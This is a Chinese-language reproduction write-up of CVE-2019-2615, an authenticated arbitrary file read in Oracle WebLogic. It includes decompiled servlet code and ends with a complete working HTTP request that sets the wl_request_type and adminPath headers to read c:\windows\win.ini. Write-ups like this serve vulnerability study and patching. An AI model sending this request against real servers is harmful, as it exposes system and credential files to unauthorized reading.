(CVE-2019-2615)Weblogic 任意文件读取漏洞

一、漏洞简介

攻击者可以在已知用户名密码的情况下读取WebLogic服务器中的任意文件。

二、漏洞影响

Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2.1.3

三、复现过程

漏洞分析

该功能的关键代码在 weblogic.management.servlet.FileDistributionServlet的doGet()方法中:

public void doGet(final HttpServletRequest var1, final HttpServletResponse var2) throws ServletException, IOException {
    AuthenticatedSubject var3 = this.authenticateRequest(var1, var2);
    if(var3 != null) {
        final String var4 = var1.getHeader("wl_request_type");
        if(var3 != KERNEL_ID) {
            AdminResource var5 = new AdminResource("FileDownload", (String)null, var4);
            if(!this.am.isAccessAllowed(var3, var5, (ContextHandler)null)) {
                ManagementLogger.logErrorFDSUnauthorizedDownloadAttempt(var3.getName(), var4);
                var2.sendError(401);
                return;
            }
        }

        try {
            if(debugLogger.isDebugEnabled()) {
                debugLogger.debug("---- >doGet incoming request: " + var4);
            }

            if(var4.equals("wl_xml_entity_request")) {
                this.doGetXMLEntityRequest(var1, var2);
            } else if(var4.equals("wl_jsp_refresh_request")) {
                this.doGetJspRefreshRequest(var1, var2);
            } else if(var4.equals("file")) {
                this.doGetFile(var1, var2);
            } else if(!var4.equals("wl_init_replica_request") && !var4.equals("wl_file_realm_request") && !var4.equals("wl_managed_server_independence_request")) {
                var2.addHeader("ErrorMsg", "Bad request type");
                String var10 = Utils.encodeXSS(var4);
                var2.sendError(400, "Bad request type: " + var10);
                ManagementLogger.logBadRequestInFileDistributionServlet(var4);
            } else {
                ......
                ......
                }
            }
        } catch (Exception var9) {
            if(!Kernel.isInitialized()) {
                throw new AssertionError("kernel not initialized");
            }

            ManagementLogger.logErrorInFileDistributionServlet(var4, var9);
        }

    }
}

代码也比较简单,先取request中header的参数"wl_request_type"的值,然后判断如果该值等于"wl_xml_entity_request"、"wl_jsp_refresh_request"、"file"......则分别调用各自的方法,进入下一步判断。我们看一下如果wl_request_type的值为"wl_jsp_refresh_request",进入doGetJspRefreshRequest()方法。我们跟入doGetJspRefreshRequest()方法:

private void doGetJspRefreshRequest(HttpServletRequest var1, HttpServletResponse var2) throws IOException {
     String var3 = var1.getHeader("adminPath");

     try {
         FileInputStream var4 = new FileInputStream(var3);

         try {
             var2.setContentType("text/plain");
             var2.setStatus(200);
             this.returnInputStream(var4, var2.getOutputStream());
         } finally {
             var4.close();
         }

     } catch (IOException var10) {
         String var5 = "I/O Exception getting resource: " + var10.getMessage();
         var2.addHeader("ErrorMsg", var5);
         var2.sendError(500, var5);
     }
 }

doGetJspRefreshRequest()方法中的"adminPath"也是request中的header参数,我们在Post包中传入要读取的文件。进入该方法中,直接使用FileInputStream类进行文件读取,故造成了所谓的"任意文件读取"漏洞。

漏洞复现

GET /bea_wls_management_internal2/wl_management HTTP/1.1
Host: www.0-sec.org:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
username:weblogic
password:admin123456
wl_request_type:wl_jsp_refresh_request
adminPath:c:\windows\win.ini
Upgrade-Insecure-Requests: 1

M~P`JFB4OPB3JUN7FJ_F.png